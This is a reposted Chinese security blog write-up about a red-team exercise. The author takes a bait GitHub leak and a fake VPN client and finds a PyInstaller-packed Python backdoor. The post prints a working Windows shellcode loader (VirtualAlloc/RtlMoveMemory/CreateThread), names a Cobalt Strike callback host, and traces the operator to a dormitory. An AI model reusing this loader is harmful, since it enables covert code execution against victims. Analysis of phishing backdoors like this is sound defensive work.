【2022HW系列】|10-一次某次攻防演练种的分析溯源

华盟原创文章投稿奖励计划

在某次攻防演练信息收集的过程中,偶然发现伪装Github信息泄漏进而钓鱼红队人员的后门

下面展开有趣的分析溯源过程。

0x01 信息收集

GIthub信息泄漏

根据甲方信息进行常规的Github敏感信息收集偶然发现一个仓库不简单

【2022HW系列】|10-一次某次攻防演练种的分析溯源

这不是mysql账号密码泄漏了吗,愉快的打开Navicat

【2022HW系列】|10-一次某次攻防演练种的分析溯源

失败....于是访问源码的8080端口查看一番,发现一个管理后台

【2022HW系列】|10-一次某次攻防演练种的分析溯源

弱口令

针对后台尝试一波弱口令,admin/admin 嗯~进来了

【2022HW系列】|10-一次某次攻防演练种的分析溯源

进来之后竟然发现账号密码而且客户端解压密码都贴心的放了出来

 【2022HW系列】|10-一次某次攻防演练种的分析溯源

到这里我竟然没有察觉到任何异常,以为能够拿到VPN入口权限;抓紧下载VPN客户端。

解压出来这个样子,emmm。。还没发现异常

【2022HW系列】|10-一次某次攻防演练种的分析溯源

0x02 分析溯源

还好有谨慎的习惯,放入虚拟机瞅瞅。

哦豁,竟然提示不兼容当前系统;看到弹窗有Pyhton代码编写的特征。感觉到前面的打点由过于丝滑,不自然的警觉了起来。

包括前面弱口令的提交方式竟然为admin.php?user=admin&passwd=admin

【2022HW系列】|10-一次某次攻防演练种的分析溯源

由于发现VPN客户端为python语言编写,更不对劲了,反编译看下。

解包

  1. python3 pyinstxtractor.py vpnclient64.exe

【2022HW系列】|10-一次某次攻防演练种的分析溯源

生成一个以 exe文件名+_extracted 的文件夹,这个就是解包后的数据

【2022HW系列】|10-一次某次攻防演练种的分析溯源

【2022HW系列】|10-一次某次攻防演练种的分析溯源

PyInstaller打包后,pyc文件的前8个字节会被抹掉,所以最后要自己添加回去。

添加头

根据struct.py文件

【2022HW系列】|10-一次某次攻防演练种的分析溯源

【2022HW系列】|10-一次某次攻防演练种的分析溯源

源码

得到py文件,easyvpn64.py为后门主程序,其中执行shellcode代码隐藏至图片中。

【2022HW系列】|10-一次某次攻防演练种的分析溯源

通过requests请求OSS存储中的图片,图片内容为shellcode加载器。

【2022HW系列】|10-一次某次攻防演练种的分析溯源

shellcodeLoader部分

【2022HW系列】|10-一次某次攻防演练种的分析溯源

  1. import base64import ctypes str = b''sc_base64 = (base64.a85decode(str)).decode('utf-8')shellcode =
  1. bytearray(bytearray.fromhex((base64.b64decode(sc_base64)).decode('utf-
  1. 8')))
  1. ptr = ctypes.windll.kernel32.VirtualAlloc.restype =
  1. ctypes.c_uint64
  1. ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
  1. ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
  1. ctypes.c_int(0x40))
  1. buf = (ctypes.c_char *
  1. len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode))) handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

知道shellcodeloader加载方式就好办了,提取CS回连地址。

【2022HW系列】|10-一次某次攻防演练种的分析溯源

溯源

回连地址:Host: cs.xxx.cn

nslookup解析地址

【2022HW系列】|10-一次某次攻防演练种的分析溯源

根据IP地址定位在某宿舍

【2022HW系列】|10-一次某次攻防演练种的分析溯源

直接溯源到人,tg结合一波。

【2022HW系列】|10-一次某次攻防演练种的分析溯源

0x03 总结

在攻防演练过程中一定要小心,防止被钓鱼。另外这个钓鱼的兄弟已经小本本记下了。

  1. 本文转载自先知社区原文地址:https://xz.aliyun.com/t/11275作者:kat

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

本文原创,作者:华盟君,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/topic/%e3%80%902022hw%e7%b3%bb%e5%88%97%e3%80%9110-%e4%b8%80%e6%ac%a1%e6%9f%90%e6%ac%a1%e6%94%bb%e9%98%b2%e6%bc%94%e7%bb%83%e7%a7%8d%e7%9a%84%e5%88%86%e6%9e%90%e6%ba%af%e6%ba%90